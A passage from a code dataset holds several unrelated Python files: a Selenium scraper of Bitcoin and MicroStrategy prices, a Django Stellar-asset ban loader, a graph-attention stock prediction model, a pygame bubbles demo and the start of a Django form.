google\ndriver2.get(\"https://www.google.com/search?q=%24mstr&oq=%24mstr&aqs=chrome.0.69i59l2j0i271l3j69i59.899j0j7&sourceid=chrome&ie=UTF-8\")\n\n#Blank DFs \nbtc_df = pd.DataFrame(columns = ['price', 'timestamp'])\nmstr_df = pd.DataFrame(columns = ['price', 'timestamp'])\n\n#Scrape BTC and MSTR ticker price every minute from market open to close\nfor i in range(0, 390): #Length of trading day in minutes\n current_time = datetime.now().time() #Get current time for each iteration \n btc_price = driver1.find_element_by_xpath(\"//span[@data-value]\").get_attribute('innerHTML') #Scrape btc price\n mstr_price = driver2.find_element_by_xpath(\"//span[@jsname = 'vWLAgc']\").get_attribute('innerHTML') #Scrape mstr price\n \n btc_list = [btc_price, current_time] #Add current prices to a list\n mstr_list = [mstr_price, current_time] #along with the current time\n \n #print(btc_list)\n #print(mstr_list)\n \n #Append current price and time to blank DFs\n btc_df = btc_df.append({\"price\": btc_list[0], \"timestamp\": btc_list[1]}, ignore_index = True)\n mstr_df = mstr_df.append({\"price\": mstr_list[0], \"timestamp\": mstr_list[1]}, ignore_index = True) \n \n #Iterate every minute\n time.sleep(60) \n \n #Refresh pages\n driver1.refresh() \n driver2.refresh()\n\n#Add a column for current date\nmstr_df['date'] = datetime.now().date()\nbtc_df['date'] = datetime.now().date()\n\n#Write out both dfs to csv - keeping datasets separate\nbtc_df.to_csv(\"btc_mstr_data/btc/btc_data_\" + str(today) + \".csv\")\nmstr_df.to_csv(\"btc_mstr_data/mstr/btc_data_\" + str(today) + \".csv\")\n", "repo_name": "joevorbs/btc_mstr", "sub_path": "btc_mstr.py", "file_name": "btc_mstr.py", "file_ext": "py", "file_size_in_byte": 2349, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "datetime.datetime.now", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 18, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 18, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 19, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 19, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 32, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 32, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "name"}]} +{"seq_id": "12591765924", "text": "from typing import Iterable, Iterator, List\n\nfrom django.conf import settings\n\nimport requests\n\nfrom aqua_marketkeys_tracker.marketkeys.models import Asset, AssetBan\nfrom aqua_marketkeys_tracker.utils.stellar.asset import get_asset_string\n\n\nclass AuthRequiredLoader:\n CHUNK_SIZE = 50\n\n ASSETS_TRACKER_URL = settings.ASSETS_TRACKER_URL.rstrip(\"/\")\n\n BAN_REASON = AssetBan.Reason.AUTH_REQUIRED\n\n def get_asset_chunks(self) -> Iterator[List[Asset]]:\n index = 0\n while True:\n assets = list(Asset.objects.get_chunk(index, self.CHUNK_SIZE))\n\n yield assets\n\n if len(assets) < self.CHUNK_SIZE:\n break\n\n index = assets[-1].id\n\n def get_assets_endpoint(self) -> str:\n return f'{self.ASSETS_TRACKER_URL}/api/v1/assets/'\n\n def load_asset_data(self, assets: Iterable[Asset]) -> List[dict]:\n endpoint = self.get_assets_endpoint()\n params = []\n for asset in assets:\n params.append(\n ('asset', get_asset_string(asset.get_stellar_asset())),\n )\n\n response = requests.get(endpoint, params=params)\n response.raise_for_status()\n\n return response.json()['results']\n\n def process_asset(self, asset: Asset, is_auth_required: bool):\n if is_auth_required:\n asset.set_ban(self.BAN_REASON)\n else:\n asset.reset_ban(self.BAN_REASON)\n\n def run(self):\n for chunk in self.get_asset_chunks():\n assets_map = {\n get_asset_string(asset.get_stellar_asset()): asset for asset in chunk\n }\n for asset_data in self.load_asset_data(chunk):\n asset = assets_map[asset_data['asset_string']]\n self.process_asset(asset, asset_data['auth_required'])\n", "repo_name": "AquaToken/aqua-marketkeys-tracker", "sub_path": "aqua_marketkeys_tracker/marketkeys/loaders/auth_required.py", "file_name": "auth_required.py", "file_ext": "py", "file_size_in_byte": 1805, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.conf.settings.ASSETS_TRACKER_URL.rstrip", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.settings.ASSETS_TRACKER_URL", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 14, "usage_type": "name"}, {"api_name": "aqua_marketkeys_tracker.marketkeys.models.AssetBan.Reason", "line_number": 16, "usage_type": "attribute"}, {"api_name": "aqua_marketkeys_tracker.marketkeys.models.AssetBan", "line_number": 16, "usage_type": "name"}, {"api_name": "aqua_marketkeys_tracker.marketkeys.models.Asset.objects.get_chunk", "line_number": 21, "usage_type": "call"}, {"api_name": "aqua_marketkeys_tracker.marketkeys.models.Asset.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "aqua_marketkeys_tracker.marketkeys.models.Asset", "line_number": 21, "usage_type": "name"}, {"api_name": "typing.Iterator", "line_number": 18, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 18, "usage_type": "name"}, {"api_name": "aqua_marketkeys_tracker.marketkeys.models.Asset", "line_number": 18, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 33, "usage_type": "name"}, {"api_name": "aqua_marketkeys_tracker.marketkeys.models.Asset", "line_number": 33, "usage_type": "name"}, {"api_name": "aqua_marketkeys_tracker.utils.stellar.asset.get_asset_string", "line_number": 38, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 41, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 33, "usage_type": "name"}, {"api_name": "aqua_marketkeys_tracker.marketkeys.models.Asset", "line_number": 46, "usage_type": "name"}, {"api_name": "aqua_marketkeys_tracker.utils.stellar.asset.get_asset_string", "line_number": 55, "usage_type": "call"}]} +{"seq_id": "38400214923", "text": "from utils import *\nimport torch\nimport torch.nn.functional as F\nfrom torch_geometric.nn.conv import MessagePassing\nfrom torch_geometric.nn.inits import glorot, uniform\nfrom torch_geometric.utils import softmax\nfrom torch.nn import Dropout\n\n\n\nclass Graph_Linear(nn.Module):##the linear layer\n def __init__(self,num_nodes, input_size, hidden_size, bias=True):\n super(Graph_Linear, self).__init__()\n self.bias = bias\n self.W = nn.Parameter(torch.zeros(num_nodes,input_size,hidden_size))\n self.b = nn.Parameter(torch.zeros(num_nodes,hidden_size))\n self.reset_parameters()\n def reset_parameters(self):\n reset_parameters(self.named_parameters)\n def forward(self, x):\n output = torch.bmm(x.unsqueeze(1), self.W)\n output = output.squeeze(1)\n if self.bias:\n output = output + self.b\n return output\n\nclass Fuse_inlinear(nn.Module):\n def __init__(self,num_nodes,input_size=1):\n super(Fuse_inlinear,self).__init__()\n self.ww=nn.Parameter(torch.rand(num_nodes,input_size))\n self.reset_parameters()\n def reset_parameters(self):\n reset_parameters(self.named_parameters)\n def forward(self,x,y):\n output1=torch.mul(x,self.ww)+torch.mul(y,1-self.ww)\n return output1\n\n\n\nclass Graph_Tensor(nn.Module):##feature fusion for historical price and financial news\n def __init__(self, num_stock, d_hidden, d_market, d_news, bias=True):\n super(Graph_Tensor, self).__init__()\n self.num_stock = num_stock\n self.d_hidden = d_hidden\n self.d_market = d_market\n self.d_news = d_news\n self.seq_transformation_news = nn.Conv1d(d_news, d_hidden, kernel_size=1, stride=1, bias=False)\n self.seq_transformation_markets = nn.Conv1d(d_market, d_hidden, kernel_size=1, stride=1, bias=False)\n self.tensorGraph = nn.Parameter(torch.zeros(num_stock, d_hidden, d_hidden, d_hidden))\n self.W = nn.Parameter(torch.zeros(num_stock, 2 * d_hidden, d_hidden))\n self.b = nn.Parameter(torch.zeros(num_stock, d_hidden))\n self.reset_parameters()\n def reset_parameters(self):\n reset_parameters(self.named_parameters)\n def forward(self, market, news):\n t, num_stocks = news.size()[0], news.size()[1]\n\n news_transformed = news.reshape(-1, self.d_news)\n news_transformed = torch.transpose(news_transformed, 0, 1).unsqueeze(0)\n news_transformed = self.seq_transformation_news(news_transformed)\n news_transformed = news_transformed.squeeze().transpose(0, 1)\n news_transformed = news_transformed.reshape(t, num_stocks, self.d_hidden)\n\n market_transformed = market.reshape(-1, self.d_market)\n market_transformed = torch.transpose(market_transformed, 0, 1).unsqueeze(0)\n market_transformed = self.seq_transformation_markets(market_transformed)\n market_transformed = market_transformed.squeeze().transpose(0, 1)\n market_transformed = market_transformed.reshape(t, num_stocks, self.d_hidden)\n\n x_news_tensor = news_transformed.unsqueeze(2)\n x_news_tensor = x_news_tensor.unsqueeze(2)\n x_market_tensor = market_transformed.unsqueeze(-1)\n temp_tensor = x_news_tensor.matmul(self.tensorGraph).squeeze()\n temp_tensor = temp_tensor.matmul(x_market_tensor).squeeze()\n x_linear = torch.cat((news_transformed, market_transformed), axis=-1)\n temp_linear = torch.bmm(x_linear.transpose(0, 1), self.W)\n temp_linear = temp_linear.transpose(0, 1)\n\n output = torch.tanh(temp_tensor + temp_linear + self.b)\n return output\n\nclass Graph_GRUCell(nn.Module):\n def __init__(self, num_nodes, input_size, hidden_size, bias=True):\n super(Graph_GRUCell, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.bias = bias\n self.x2h = Graph_Linear(num_nodes, input_size, 3 * hidden_size, bias=bias)\n self.h2h = Graph_Linear(num_nodes, hidden_size, 3 * hidden_size, bias=bias)\n self.reset_parameters()\n def reset_parameters(self):\n reset_parameters(self.named_parameters)\n def forward(self, x, hidden):\n gate_x = self.x2h(x)\n gate_h = self.h2h(hidden)\n gate_x = gate_x.squeeze()\n gate_h = gate_h.squeeze()\n i_r, i_i, i_n = gate_x.chunk(3, 1)\n h_r, h_i, h_n = gate_h.chunk(3, 1)\n resetgate = torch.sigmoid(i_r + h_r)\n inputgate = torch.sigmoid(i_i + h_i)\n newgate = torch.tanh(i_n + (resetgate * h_n))\n hy = newgate + inputgate * (hidden - newgate)\n return hy\n\nclass Graph_GRUModel(nn.Module):\n def __init__(self, num_nodes, input_dim, hidden_dim, bias=True):\n super(Graph_GRUModel, self).__init__()\n self.hidden_dim = hidden_dim\n self.gru_cell = Graph_GRUCell(num_nodes, input_dim, hidden_dim)\n self.reset_parameters()\n\n def reset_parameters(self):\n reset_parameters(self.named_parameters)\n\n def forward(self, x, hidden=None):\n if hidden is None:\n hidden = torch.zeros(x.size()[1], self.hidden_dim, device=x.device,dtype = x.dtype)\n for seq in range(x.size(0)):\n hidden = self.gru_cell(x[seq], hidden)\n return hidden\n\n\n\nclass Graph_Attention(nn.Module):##Learning implicit relation\n\n def __init__(self, in_features, out_features, dropout, alpha ,alpha1,concat=True, residual=False):\n super(Graph_Attention, self).__init__()\n self.dropout = dropout\n self.in_features = in_features\n self.out_features = out_features\n self.alpha = alpha\n self.alpha1 = alpha1\n self.concat = concat\n self.residual = residual\n\n self.seq_transformation_r = nn.Conv1d(in_features, out_features, kernel_size=1, stride=1, bias=False)\n self.seq_transformation_s = nn.Conv1d(in_features, out_features, kernel_size=1, stride=1, bias=False)\n\n if self.residual:\n self.proj_residual = nn.Conv1d(in_features, out_features, kernel_size=1, stride=1)\n\n self.f_1 = nn.Conv1d(out_features, 1, kernel_size=1, stride=1)\n self.f_2 = nn.Conv1d(out_features, 1, kernel_size=1, stride=1)\n\n self.coef_revise = False\n self.leakyrelu = nn.LeakyReLU(self.alpha)\n\n def get_relation(self, input_r):\n num_stock = input_r.shape[0]\n seq_r = torch.transpose(input_r, 0, 1).unsqueeze(0)\n logits = torch.zeros(num_stock, num_stock, device=input_r.device, dtype=input_r.dtype)\n seq_fts_r = self.seq_transformation_r(seq_r)\n f_1 = self.f_1(seq_fts_r)\n f_2 = self.f_2(seq_fts_r)\n logits += (torch.transpose(f_1, 2, 1) + f_2).squeeze(0)\n coefs = F.elu(logits)\n coefs=F.softmax(coefs,dim=1)\n abc=torch.zeros_like(coefs)\n coefs = torch.where(coefs < self.alpha1, abc, coefs)\n if not isinstance(self.coef_revise,torch.Tensor):\n self.coef_revise = torch.zeros(73, 73, device = input_r.device) + 1.0 - torch.eye(73, 73,device = input_r.device)#note that:if you want to run this code on CSI300E,you should change 73 to 185(the number of firm nodes)\n coefs_eye = coefs.mul(self.coef_revise)\n return coefs_eye\n\n\n def forward(self, input_r,c):\n # unmasked attention\n coefs_eye = self.get_relation(input_r)*c\n coef=coefs_eye.nonzero(as_tuple=False)\n return coef\n\n\n##dual attention networks\n\n###intra-class attention\nclass RSMPConv(MessagePassing):\n def __init__(self, in_hid, out_hid, \n num_edge_types,negative_slope=0.2,heads=1):\n super(RSMPConv, self).__init__(aggr='add')\n\n self.in_hid = in_hid\n self.out_hid = out_hid\n self.num_edge_types = num_edge_types\n self.negative_slope=negative_slope\n \n self.rel_wi=nn.Parameter(torch.Tensor(num_edge_types,out_hid*2,1))\n self.rel_bt=nn.Parameter(torch.Tensor(out_hid*2,1))\n # self.w_wi=nn.Linear(in_hid, out_hid, bias=False)\n self.w_bt=nn.Linear(out_hid,out_hid,bias=False)\n self.q_trans=nn.Parameter(torch.Tensor(out_hid,1))\n\n self.norm=nn.LayerNorm(out_hid)\n self.norm_list=nn.ModuleList()\n for i in range(num_edge_types):\n self.norm_list.append(nn.LayerNorm(out_hid))\n\n\n self.skip = nn.Parameter(torch.ones(1))\n self.beta_weight=nn.Parameter(torch.ones(1))\n self.overall_beta=nn.Parameter(torch.randn(num_edge_types))\n # self.drop=Dropout(0.2)\n\n glorot(self.rel_wi)\n glorot(self.rel_bt)\n glorot(self.q_trans)\n\n def forward(self, x, edge_idx, edge_type):\n # x=self.w_wi(x)\n\n out_list=[]\n edg_list=[]\n for i in range(self.num_edge_types):\n mask = (edge_type == i)\n edge_index = edge_idx[:, mask]\n if mask.sum() !=0:\n rs=self.w_bt(F.leaky_relu(self.norm_list[i](self.propagate(edge_index, x=x,edge_type=i)),self.negative_slope)) #Nxd \n out_list+=[rs]\n edg_list+=[i]\n beta=[]\n for i in edg_list:\n beta+=[F.leaky_relu(out_list[i]@self.q_trans,self.negative_slope).sum(0)]\n overall_beta=F.softmax(torch.FloatTensor(beta),dim=0)\n res=0\n for i in edg_list:\n res+=out_list[i]*overall_beta[i]\n \n final_weight=torch.sigmoid(self.skip)\n res = self.norm(F.gelu(res) * (final_weight) + x* (1 - final_weight))\n\n return res\n\n\n def message(self,edge_index,x_i, x_j,edge_type):\n \n node_f = torch.cat((x_i, x_j), 1) #nx2d\n\n temp = torch.matmul(node_f, self.rel_wi[edge_type]).to(x_i.device) #nx1\n\n alpha=softmax(temp,edge_index[1])\n rs=x_j*alpha #nxd\n return rs\n\n###inter-class attention\nclass HetGATConv(MessagePassing):\n def __init__(self, in_hid, out_hid, negative_slope=0.2,norm=True,dual=True,global_weight=True):\n super(HetGATConv, self).__init__(aggr='add',)\n\n self.in_hid = in_hid\n self.out_hid = out_hid\n self.negative_slope=negative_slope\n self.norm=norm\n self.dual=dual\n self.global_weight=global_weight\n\n \n self.rel_wi=nn.Parameter(torch.Tensor(2,out_hid*2,1))\n self.rel_bt=nn.Parameter(torch.Tensor(out_hid*2,1))\n self.w_bt=nn.Linear(out_hid,out_hid,bias=False)\n self.w_out=nn.Linear(out_hid,out_hid,bias=False)\n self.q_trans=nn.Parameter(torch.Tensor(out_hid,1))\n\n self.out_norm=nn.LayerNorm(out_hid)\n\n self.skip = nn.Parameter(torch.ones(1))\n # self.drop=Dropout(0.2)\n\n glorot(self.rel_wi)\n glorot(self.rel_bt)\n glorot(self.q_trans)\n \n\n def forward(self, c_hid,p_hid, edge_idx, edge_type):\n out_list=[]\n num_edge_types=2\n edg_list=[]\n for i in range(num_edge_types):\n mask = (edge_type == i)\n edge_index = edge_idx[:, mask]\n if mask.sum() !=0:\n rs=self.w_bt(F.leaky_relu(self.propagate(edge_index=edge_index, x=(c_hid,p_hid),edge_type=i),self.negative_slope)) #Nxd\n out_list+=[rs]\n edg_list+=[i]\n beta=[]\n for i in edg_list:\n beta+=[F.leaky_relu(out_list[i]@self.q_trans,self.negative_slope).sum(0)]\n overall_beta=F.softmax(torch.FloatTensor(beta),dim=0)\n res=0\n for i in range(len(edg_list)):\n res+=out_list[i]*overall_beta[i]\n final_weight=torch.sigmoid(self.skip)\n res = self.out_norm(F.gelu(res)* (final_weight) + p_hid* (1 - final_weight))\n res=F.gelu(res)* (final_weight) + p_hid* (1 - final_weight)\n\n return res\n\n\n def message(self,x_i, x_j,edge_index,edge_type):\n\n node_f = torch.cat((x_i, x_j), 1) #nx2d\n\n temp = torch.matmul(node_f, self.rel_wi[edge_type]).to(x_i.device) #nx1\n\n alpha=softmax(temp,edge_index[1])\n #\n rs=x_j*alpha #nxd\n return rs\n\nclass SMPLayer(nn.Module):\n def __init__(self,in_hid,out_hid,num_m1,num_m2,n_heads=8,n_layers=2,dropout=0.2,hgt_layer=1,**kwargs):\n super(SMPLayer,self).__init__()\n self.hetgat=nn.ModuleList()\n self.layer=n_layers\n\n self.hgt=nn.ModuleList()\n self.norm=nn.LayerNorm(out_hid)\n self.drop=Dropout(dropout)\n self.proj_c=nn.Linear(in_hid,out_hid,bias=False)\n self.proj_p=nn.Linear(in_hid,out_hid,bias=False)\n\n for _ in range(hgt_layer):\n if _ == 0:\n self.hgt.append(RSMPConv(out_hid, out_hid, num_m1,heads=n_heads))\n self.hgt.append(RSMPConv(out_hid, out_hid, num_m2,heads=n_heads))\n else:\n self.hgt.append(RSMPConv(out_hid, out_hid, num_m1,heads=n_heads))\n self.hgt.append(RSMPConv(out_hid, out_hid, num_m2,heads=n_heads))\n\n for n in range(n_layers):\n self.hetgat.append(HetGATConv(out_hid, out_hid))\n self.hetgat.append(HetGATConv(out_hid, out_hid))\n #c_gh,p_gh:[x,edge_index,edge_type];t_gh[edge_index,edge_type]\n def forward(self,c_gh,p_gh,t_gh):\n h_c=c_gh[0]\n h_p=p_gh[0]\n h_c=self.proj_c(h_c)\n h_p=self.proj_p(h_p)\n edge_indx, edge_type = t_gh[0], t_gh[1]\n for ly in range(int(len(self.hetgat) / 2)):\n p_hid = self.hetgat[2 * ly](h_c, h_p, edge_indx, edge_type)\n\n edge_indx = torch.stack((edge_indx[1], edge_indx[0]))\n c_hid = self.hetgat[2 * ly + 1](h_p, h_c, edge_indx, edge_type)\n\n edge_indx = torch.stack((edge_indx[1], edge_indx[0]))\n h_c = c_hid\n h_p = p_hid\n \n for hl in range(int((len(self.hgt)/2))):\n # if hl==0:\n h_c=self.hgt[2*hl](h_c,c_gh[1],c_gh[2])\n h_p=self.hgt[2*hl+1](h_p,p_gh[1],p_gh[2])\n\n h_c=self.drop(self.norm(h_c))\n h_p=self.drop(self.norm(h_p))\n return h_c,h_p", "repo_name": "trytodoit227/DANSMP", "sub_path": "Layers.py", "file_name": "Layers.py", "file_ext": "py", "file_size_in_byte": 14099, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 32, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.zeros", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.transpose", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.transpose", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.tanh", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.tanh", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.transpose", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.transpose", "line_number": 156, "usage_type": "call"}, {"api_name": "torch.nn.functional.elu", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 157, "usage_type": "name"}, {"api_name": "torch.nn.functional.softmax", "line_number": 158, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 158, "usage_type": "name"}, {"api_name": "torch.zeros_like", "line_number": 159, "usage_type": "call"}, {"api_name": "torch.where", "line_number": 160, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 161, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.eye", "line_number": 162, "usage_type": "call"}, {"api_name": "torch_geometric.nn.conv.MessagePassing", "line_number": 177, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 188, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 199, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 200, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 201, "usage_type": "call"}, {"api_name": "torch_geometric.nn.inits.glorot", "line_number": 204, "usage_type": "call"}, {"api_name": "torch_geometric.nn.inits.glorot", "line_number": 205, "usage_type": "call"}, {"api_name": "torch_geometric.nn.inits.glorot", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.nn.functional.leaky_relu", "line_number": 217, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 217, "usage_type": "name"}, {"api_name": "torch.nn.functional.leaky_relu", "line_number": 222, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 222, "usage_type": "name"}, {"api_name": "torch.nn.functional.softmax", "line_number": 223, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 223, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 223, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 228, "usage_type": "call"}, {"api_name": "torch.nn.functional.gelu", "line_number": 229, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 229, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 236, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 238, "usage_type": "call"}, {"api_name": "torch_geometric.utils.softmax", "line_number": 240, "usage_type": "call"}, {"api_name": "torch_geometric.nn.conv.MessagePassing", "line_number": 245, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 257, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 258, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 261, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 265, "usage_type": "call"}, {"api_name": "torch_geometric.nn.inits.glorot", "line_number": 268, "usage_type": "call"}, {"api_name": "torch_geometric.nn.inits.glorot", "line_number": 269, "usage_type": "call"}, {"api_name": "torch_geometric.nn.inits.glorot", "line_number": 270, "usage_type": "call"}, {"api_name": "torch.nn.functional.leaky_relu", "line_number": 281, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 281, "usage_type": "name"}, {"api_name": "torch.nn.functional.leaky_relu", "line_number": 286, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 286, "usage_type": "name"}, {"api_name": "torch.nn.functional.softmax", "line_number": 287, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 287, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 287, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 291, "usage_type": "call"}, {"api_name": "torch.nn.functional.gelu", "line_number": 292, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 292, "usage_type": "name"}, {"api_name": "torch.nn.functional.gelu", "line_number": 293, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 293, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 300, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 302, "usage_type": "call"}, {"api_name": "torch_geometric.utils.softmax", "line_number": 304, "usage_type": "call"}, {"api_name": "torch.nn.Dropout", "line_number": 317, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 342, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 345, "usage_type": "call"}]} +{"seq_id": "25196925581", "text": "\"\"\"\nPygame base template\nby Aaron Lee 2019\n\"\"\"\nimport random\n\nimport pygame\npygame.init() # do not put anything pygame above this line\n\n# Define some colors (red, green, blue)\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nGREEN = (0, 255, 0)\nRED = (255, 0, 0)\n\nscreen_width = 700\nscreen_height = 500\nsize = (screen_width, screen_height) # width, height\nscreen = pygame.display.set_mode(size)\n\npygame.display.set_caption(\"Window Bar Name\")\n\ndone = False # condition for my game loop\n\nclock = pygame.time.Clock() # Used to manage how fast the screen updates\n\n# CLASSES\nclass Ball():\n def __init__(self):\n print(\"A new ball is born\")\n gb = random.randrange(256)\n self.color = (255, gb, gb)\n self.size = random.randrange(30, 100)\n self.x = random.randrange(0, screen_width - self.size)\n self.y = random.randrange(0, screen_height - self.size)\n self.change_x = random.random() * 8\n self.change_y = 0\n\n def draw(self):\n pygame.draw.ellipse(screen, self.color, [self.x, self.y, self.size, self.size])\n pygame.draw.ellipse(screen, BLACK, [self.x, self.y, self.size, self.size], 2)\n\n def move(self):\n self.x += self.change_x\n if self.x > screen_width:\n self.x = -self.size\n\n self.y += self.change_y\n\nclass Bubble(Ball):\n def __init__(self):\n super().__init__()\n rg = random.randrange(256)\n self.color = (rg, rg, 255)\n self.change_x = 0\n self.change_y = random.random() - 0.5\n\nball_list = []\n\nfor i in range(100):\n ball = Ball() # create an instance of the Ball class\n ball_list.append(ball)\n\n\n\n# -------- Main Program Loop -----------\nwhile not done:\n # --- Main event loop (user inputs)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n if event.type == pygame.MOUSEBUTTONDOWN:\n x,y = pygame.mouse.get_pos()\n bubble = Bubble()\n bubble.x = x\n bubble.y = y\n ball_list.append(bubble)\n\n # --- Game logic should go here\n for ball in ball_list:\n ball.move()\n\n # --- Drawing code should go here\n screen.fill(WHITE)\n\n for ball in ball_list:\n ball.draw()\n\n pygame.display.flip() # Update the screen with what we've drawn.\n\n clock.tick(60) # frames per second\n\n# Close the window and quit.\npygame.quit()\n\n", "repo_name": "fwparkercode/IntroProgrammingNotes", "sub_path": "Notes/Spring2019/Ch12DBubbles.py", "file_name": "Ch12DBubbles.py", "file_ext": "py", "file_size_in_byte": 2394, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pygame.init", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 25, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 31, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 33, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 34, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 35, "usage_type": "call"}, {"api_name": "random.random", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.draw.ellipse", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.draw.ellipse", "line_number": 41, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 41, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 53, "usage_type": "call"}, {"api_name": "random.random", "line_number": 56, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 69, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 69, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 70, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 73, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 73, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 89, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 89, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 94, "usage_type": "call"}]} +{"seq_id": "24100858299", "text": "from django.forms import ModelForm, ChoiceField, TextInput\r\nfrom .models import Region, SummonerName\r\n\r\nclass RegionForm(ModelForm):\r\n\r\n query = Region.objects.all().values_list('name', flat=True)\r\n query_choices = [('', 'None')] + [(name, name) for name in query]\r\n region = ChoiceField(choices = query_choices)\r\n class Meta:\r\n model = Region\r\n fields = ['region']\r\n\r\n\r\nclass SummonerNameForm(ModelForm):\r\n\r\n 